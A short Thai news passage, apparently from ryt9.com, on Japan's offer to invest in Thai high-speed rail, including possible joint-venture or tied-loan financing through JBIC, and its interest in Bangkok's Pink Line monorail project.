“ญี่ปุ่นยืนยันว่าเขามีประสบการณ์ในเรื่องของรถไฟฟ้าความเร็วสูงมากกว่า 47 ปี ขณะเดียวกันยังมีความปลอดภัย เพราะไม่เคยเกิดอุบัติเหตุขึ้นเลย หากประเทศไทยไว้ใจก็จะเข้ามาดำเนินการอย่างแน่นอน”นายสุพจน์ กล่าว

ในส่วนของรูปแบบการดำเนินการนั้น อาจเป็นการลงทุนในลักษณะของการร่วมทุน หรือรัฐบาลญี่ปุ่นอาจให้ไทยกู้แบบมีเงื่อนไขว่า ต้องซื้อวัสดุก่อสร้างและใช้บุคลากรจากญี่ปุ่นเท่านั้น และอาจให้กองทุนธนาคารเพื่อความร่วมมือแห่งประเทศญี่ปุ่น (เจบิค) เป็นผู้ปล่อยสินเชื่อให้บริษัทเอกชนโดยตรง

นอกจากนี้นักลงทุนญี่ปุ่นยังสนใจลงทุน โครงการรถไฟฟ้าสีชมพู ช่วงแคราย-มีนบุรี ซึ่งเป็นรถไฟฟ้าโมโนเรล โดยระบุว่ามีประสบการณ์มากกว่าทุกประเทศ ซึ่งกระทรวงคมนาคมได้ชี้แจงไปว่า จะนำเสนอโครงการนี้ต่อที่ประชุม คณะรัฐมนตรี (ครม.)ช่วงปลายปี จากนั้นจะเปิดประกวดราคาในปลายปีเช่นกัน ในเบื้องต้นจะให้เอกชนรายเดียวดำเนินการทั้งโครงการ ส่วนการบริหารจัดการ จะเป็นหน้าที่ของการรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย (รฟม.) และว่าจ้างให้เอกชนมาเดินรถ เพื่อรฟม.จะควบคุมค่าโดยสารได้

ข่าวจาก http://www.ryt9.com/s/nnd/1086592